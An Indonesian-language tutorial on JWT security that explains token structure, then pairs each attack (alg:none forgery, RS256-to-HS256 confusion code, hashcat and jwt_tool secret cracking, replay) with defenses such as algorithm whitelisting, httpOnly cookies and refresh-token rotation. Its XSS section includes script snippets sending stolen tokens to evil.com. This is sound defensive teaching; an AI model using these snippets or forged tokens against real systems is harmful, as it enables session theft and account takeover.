JWT Security: Best Practices untuk Keamanan Token

// Payload JWT (decoded dari Base64URL)
{
  // ===== REGISTERED CLAIMS (standar RFC 7519) =====
  "iss": "https://auth.example.com",  // Issuer — siapa yang menerbitkan token
  "sub": "user123456",                  // Subject — siapa yang dimaksud
  "aud": "https://api.example.com",    // Audience — siapa yang dituju
  "exp": 1719432000,                   // Expiration — kapan token kedaluwarsa (Unix timestamp)
  "nbf": 1719428400,                   // Not Before — token tidak valid sebelum waktu ini
  "iat": 1719428400,                   // Issued At — kapan token diterbitkan
  "jti": "unique-token-id-123",        // JWT ID — identifier unik untuk token

  // ===== PUBLIC CLAIMS (custom tapi harus terdaftar di IANA) =====
  "name": "John Doe",
  "email": "john@example.com",
  "picture": "https://example.com/photo.jpg",

  // ===== PRIVATE CLAIMS (custom, kesepakatan antar pihak) =====
  "role": "admin",
  "permissions": ["read", "write", "delete"],
  "org_id": "org_abc123",
  "plan": "premium"
}

// ⚠️ PENTING: Payload TIDAK DIENKRIPSI!
// Payload hanya di-encode Base64URL, SIAPAPUN bisa membacanya.
// JANGAN simpan data sensitif di payload (password, API keys, dll.)

// Proses pembuatan signature HS256:
// signature = HMACSHA256(
//   base64UrlEncode(header) + "." + base64UrlEncode(payload),
//   secret_key
// )

// Dalam kode (Node.js):
const crypto = require('crypto');

const header = Buffer.from(JSON.stringify({alg: 'HS256', typ: 'JWT'})).toString('base64url');
const payload = Buffer.from(JSON.stringify({sub: 'user123', iat: Date.now()})).toString('base64url');
const secret = 'your-256-bit-secret-key-here!';

const signature = crypto.createHmac('sha256', secret)
  .update(`${header}.${payload}`)
  .digest('base64url');

const token = `${header}.${payload}.${signature}`;
// Result: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiw...

// ============================================
// Verifikasi signature:
// ============================================
const [h, p, s] = token.split('.');
const expectedSig = crypto.createHmac('sha256', secret)
  .update(`${h}.${p}`)
  .digest('base64url');

if (s === expectedSig) {
  console.log('Token VALID ✅');
} else {
  console.log('Token INVALID atau DIMANIPULASI ❌');
}

# ============================================
# Serangan alg:none
# ============================================

# Token asli (dengan signature):
# Header:  {"alg": "HS256", "typ": "JWT"}
# Payload: {"sub": "user123", "role": "user"}
# Signature: valid_signature_here

# Token yang dimanipulasi attacker:
# Header:  {"alg": "none", "typ": "JWT"}
# Payload: {"sub": "admin", "role": "admin"}  ← diubah!
# Signature: (kosong — dihapus)

# Token manipulasi:
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

# Jika server tidak memvalidasi algoritma dengan benar,
# token ini akan diterima! 😱

# ============================================
# Pencegahan:
# ============================================
# 1. JANGAN pernah izinkan alg "none"
# 2. Whitelist algoritma yang diizinkan
# 3. Gunakan library yang terpercaya

# Contoh di jsonwebtoken (Node.js):
const jwt = require('jsonwebtoken');

// ❌ BERBAHAYA — mempercayai alg dari token
jwt.verify(token, secretOrPublicKey);

// ✅ AMAN — tentukan algoritma yang diizinkan
jwt.verify(token, secretOrPublicKey, {
  algorithms: ['HS256']  // Hanya izinkan HS256
});

# ============================================
# Serangan Algorithm Confusion (RS256 → HS256)
# ============================================

# Skenario:
# - Server menggunakan RS256 (asymmetric)
# - Public key server tersedia publik (standar untuk RS256)
# - Server mempercayai field "alg" di token

# Serangan:
# 1. Attacker mendapatkan public key server (pub.pem)
# 2. Mengubah header: {"alg": "HS256"}  ← dari RS256
# 3. Mengubah payload: {"sub": "admin", "role": "admin"}
# 4. Sign menggunakan HMAC dengan public key sebagai secret

# Kode serangan:
const crypto = require('crypto');
const publicKey = fs.readFileSync('pub.pem'); // Public key server

const header = { alg: 'HS256', typ: 'JWT' };
const payload = { sub: 'admin', role: 'admin' };

const h = base64url(JSON.stringify(header));
const p = base64url(JSON.stringify(payload));

// Gunakan public key sebagai HMAC secret!
const signature = crypto.createHmac('sha256', publicKey)
  .update(`${h}.${p}`)
  .digest('base64url');

// Server akan memverifikasi menggunakan HMAC dengan public key
// → Verifikasi BERHASIL! Token palsu diterima! 😱

# ============================================
# Pencegahan:
# ============================================
# 1. SELALU tentukan algoritma yang diizinkan secara eksplisit
# 2. Jangan izinkan perubahan algoritma dari token

// ✅ PENCEGAHAN:
jwt.verify(token, publicKey, {
  algorithms: ['RS256']  // HANYA RS256, tidak boleh HS256
});

# ============================================
# Brute Force JWT Secret Key
# ============================================
# Tool: hashcat, john the ripper

# Hashcat untuk brute force HS256:
# Format hash untuk hashcat: JWT token langsung
hashcat -m 16500 jwt.txt wordlist.txt

# John the Ripper:
john --wordlist=wordlist.txt --format=HMAC-SHA256 jwt.txt

# Tool khusus: jwt_tool
python3 jwt_tool.py eyJhbG... -C -d wordlist.txt

# ============================================
# Pencegahan:
# ============================================
# 1. Gunakan secret key yang SANGAT PANJANG (minimum 256-bit/32 byte)
# 2. Gunakan karakter random yang kuat
# 3. Rotasi secret key secara berkala
# 4. Pertimbangkan RS256 (asymmetric) — tidak bisa di-brute force

# Generate secure secret:
openssl rand -base64 32
# Output: xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2m

# ❌ SECRET LEMAH:
JWT_SECRET = "secret123"
JWT_SECRET = "mysecret"
JWT_SECRET = "password"

# ✅ SECRET KUAT:
JWT_SECRET = "xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2mQ6tW0zC3fH5kN8p"

# ============================================
# XSS untuk mencuri JWT dari localStorage
# ============================================

# Jika attacker berhasil menyuntikkan XSS:
<script>
  // Curi JWT dari localStorage
  const token = localStorage.getItem('jwt_token');
  
  // Kirim ke server attacker
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: JSON.stringify({ token: token }),
    headers: {'Content-Type': 'application/json'}
  });
</script>

# Atau dari sessionStorage:
<script>
  const token = sessionStorage.getItem('jwt_token');
  new Image().src = 'https://evil.com/collect?token=' + token;
</script>

# ============================================
# Pencegahan:
# ============================================
# 1. Gunakan httpOnly cookies (tidak bisa diakses JavaScript)
# 2. Implementasikan CSP untuk mencegah XSS
# 3. Input validation dan output encoding
# 4. Short-lived token + refresh token rotation
# 5. Bind token ke device fingerprint

# ============================================
# Replay Attack — Token yang dicuri digunakan ulang
# ============================================

# Skenario:
# 1. Attacker mendapatkan JWT user (via XSS, MITM, atau packet sniffing)
# 2. Attacker menggunakan token tersebut untuk mengakses API
#    sebagai user yang sah

# Contoh request dengan token curian:
curl -X GET https://api.example.com/user/profile \
  -H "Authorization: Bearer eyJhbG...token_curiandari_user..."

# Response: Data user berhasil diakses oleh attacker! 😱

# ============================================
# Pencegahan:
# ============================================
# 1. Token expiry yang SINGKAT (15 menit untuk access token)
# 2. Token rotation — refresh token harus dirotasi
# 3. Token binding — hubungkan token dengan IP/fingerprint
# 4. Revoke mechanism — blocklist untuk token yang dikompromikan
# 5. Jti (JWT ID) + server-side tracking untuk one-time-use

# Contoh token binding dengan fingerprint:
{
  "sub": "user123",
  "fingerprint": "abc123hash",  // Hash dari User-Agent + IP + device ID
  "exp": 1719432000
}

# Server memverifikasi fingerprint:
if (hash(request.userAgent + request.ip) !== token.fingerprint) {
  return 401;  // Token kemungkinan dicuri
}

# ============================================
# 1. localStorage — TIDAK DIREKOMENDASIKAN
# ============================================
// ❌ Rentan XSS — bisa diakses oleh semua JavaScript di halaman
localStorage.setItem('jwt_token', token);
const token = localStorage.getItem('jwt_token');

// Masalah:
// - Semua script di halaman (termasuk yang disuntikkan XSS) bisa akses
// - Data persist bahkan setelah browser ditutup
// - Tidak ada expiry otomatis

# ============================================
# 2. httpOnly Cookie — DIREKOMENDASIKAN
# ============================================
// ✅ Tidak bisa diakses oleh JavaScript
// Server set cookie:
res.cookie('access_token', token, {
  httpOnly: true,      // Tidak bisa diakses JS (anti-XSS)
  secure: true,        // Hanya dikirim via HTTPS
  sameSite: 'Strict',  // Tidak dikirim dalam cross-site request (anti-CSRF)
  maxAge: 15 * 60 * 1000,  // 15 menit
  path: '/',
  domain: '.example.com'
});

// Cookie otomatis dikirim di setiap request ke domain yang sama
// Frontend tidak perlu menambahkan header Authorization manual

// ⚠️ Perlu CSRF protection karena cookie dikirim otomatis
// Tambahkan anti-CSRF token di header untuk setiap request

# ============================================
# 3. In-Memory Storage — PALING AMAN untuk SPA
# ============================================
// ✅ Tidak tersimpan di storage manapun
// ❌ Hilang saat page refresh (perlu silent refresh)

class TokenService {
  #accessToken = null;  // Private field
  
  setToken(token) {
    this.#accessToken = token;
  }
  
  getToken() {
    return this.#accessToken;
  }
  
  clearToken() {
    this.#accessToken = null;
  }
  
  isAuthenticated() {
    return this.#accessToken !== null;
  }
}

const tokenService = new TokenService();

// Setelah login:
tokenService.setToken(response.data.accessToken);

// Untuk request API:
axios.interceptors.request.use(config => {
  const token = tokenService.getToken();
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

# ============================================
# 4. Hybrid Approach (Recommended untuk Production)
# ============================================
// Access Token  → In-memory (hilang saat refresh)
// Refresh Token → httpOnly cookie (persist, aman dari XSS)

// Saat page refresh:
// 1. Cek apakah access token masih ada di memory
// 2. Jika tidak → gunakan refresh token (cookie) untuk dapat access token baru
// 3. Simpan access token baru di memory

async function silentRefresh() {
  try {
    const response = await fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include'  // Kirim httpOnly cookie
    });
    const data = await response.json();
    tokenService.setToken(data.accessToken);
    return true;
  } catch (err) {
    // Refresh token expired/invalid → redirect ke login
    window.location.href = '/login';
    return false;
  }
}

# ============================================
# Server-side: Refresh Token Rotation
# ============================================

// Database model untuk refresh tokens
// RefreshToken {
//   id, user_id, token_hash, family_id,
//   expires_at, revoked, created_at
// }

const crypto = require('crypto');
const jwt = require('jsonwebtoken');

// Login endpoint
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);
  
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });
  
  // Generate token pair
  const familyId = crypto.randomUUID();
  const tokens = generateTokenPair(user, familyId);
  
  // Simpan refresh token hash di database
  await db.refreshTokens.create({
    user_id: user.id,
    token_hash: hashToken(tokens.refreshToken),
    family_id: familyId,
    expires_at: tokens.refreshExpiresAt,
    revoked: false
  });
  
  // Set refresh token sebagai httpOnly cookie
  res.cookie('refresh_token', tokens.refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 7 * 24 * 60 * 60 * 1000 // 7 hari
  });
  
  // Return access token
  res.json({ accessToken: tokens.accessToken });
});

// Refresh endpoint
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refresh_token;
  
  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }
  
  // Cari token di database
  const storedToken = await db.refreshTokens.findOne({
    token_hash: hashToken(refreshToken)
  });
  
  // DETEKSI TOKEN REUSE — indikasi token dicuri!
  if (!storedToken || storedToken.revoked) {
    if (storedToken && storedToken.revoked) {
      // Token sudah di-revoke tapi masih digunakan!
      // Kemungkinan token dicuri — REVOKE SELURUH FAMILY
      await db.refreshTokens.updateMany(
        { family_id: storedToken.family_id },
        { revoked: true }
      );
      console.warn(`[SECURITY] Token reuse detected for user ${storedToken.user_id}`);
    }
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
  
  // Verify expiry
  if (new Date() > storedToken.expires_at) {
    return res.status(401).json({ error: 'Refresh token expired' });
  }
  
  // REVOKE token lama
  await db.refreshTokens.update(
    { id: storedToken.id },
    { revoked: true }
  );
  
  // Generate token BARU dengan family yang sama
  const user = await db.users.findById(storedToken.user_id);
  const tokens = generateTokenPair(user, storedToken.family_id);
  
  // Simpan token baru
  await db.refreshTokens.create({
    user_id: user.id,
    token_hash: hashToken(tokens.refreshToken),
    family_id: storedToken.family_id,
    expires_at: tokens.refreshExpiresAt,
    revoked: false
  });
  
  res.cookie('refresh_token', tokens.refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 7 * 24 * 60 * 60 * 1000
  });
  
  res.json({ accessToken: tokens.accessToken });
});

// Helper functions
function generateTokenPair(user, familyId) {
  const accessToken = jwt.sign(
    { sub: user.id, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: '15m', algorithm: 'HS256' }
  );
  
  const refreshToken = crypto.randomBytes(40).toString('hex');
  const refreshExpiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);
  
  return { accessToken, refreshToken, refreshExpiresAt };
}

function hashToken(token) {
  return crypto.createHash('sha256').update(token).digest('hex');
}